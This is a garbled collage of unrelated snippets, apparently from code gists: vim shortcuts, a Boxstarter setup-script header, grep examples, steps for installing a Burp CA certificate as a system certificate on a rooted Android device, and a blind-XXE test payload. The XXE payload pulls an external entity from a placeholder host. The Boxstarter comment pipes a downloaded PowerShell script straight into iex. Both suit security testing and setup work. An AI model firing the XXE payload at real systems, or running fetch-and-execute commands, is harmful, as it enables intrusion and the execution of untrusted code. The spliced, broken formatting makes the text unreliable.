- C-a == Ctrl-a
- M-a == Alt-a
:q close
:w write/saves
:wa[!] write/save all windows [force]
:wq write/save and close
| # Description: Boxstarter Script for Developer Machines | |
| # | |
| # To run this script, you first have to install boxstarter using the following command (NOTE the "." below is required): | |
| # . { iwr -useb http://boxstarter.org/bootstrapper.ps1 } | iex; get-boxstarter -Force | |
| # Learn more: http://boxstarter.org/Learn/WebLauncher | |
| # | |
| # Run this BoxstarterDevFull.ps1 script by calling the following from **elevated** powershell: | |
| # example: Install-BoxstarterPackage -PackageName https://gist.githubusercontent.com/castexyz/3f2c2c7c368141db0b480edc82fb0f75/raw/f9633684d23b3d40352489e85647c75154ca12bb/BoxstarterDevFull.ps1 | |
| Update-ExecutionPolicy -Policy RemoteSigned |
| #!/bin/sh | |
| #http://www.thegeekstuff.com/2011/01/advanced-regular-expressions-in-grep-command-with-10-examples-%E2%80%93-part-ii/ | |
| # GENERAL | |
| # print lines begining with range of letters | |
| grep ^[A-D] table.txt | |
| # REGEX |
| on rooted devices we have to install burp certificate as SYSTEM like this: | |
| 1. Export burp certificate and convert it to pem | |
| a. openssl x509 -inform DER -in cacert.der -out cacert.pem | |
| 2. output the subject_hash_old and rename the file: | |
| a. openssl x509 -inform PEM -subject_hash_old -in cacert.pem |head -1 | |
| b. mv cacert.pem <hash>.0 | |
| 3. Copy the certificate to the device | |
| a. adb push <hash>.0 /sdcard/ | |
| b. Adb shell |
| -------------------------------------------------------------- | |
| Vanilla, used to verify outbound xxe or blind xxe | |
| -------------------------------------------------------------- | |
| <?xml version="1.0" ?> | |
| <!DOCTYPE r [ | |
| <!ELEMENT r ANY > | |
| <!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt"> | |
| ]> | |
| <r>&sp;</r> |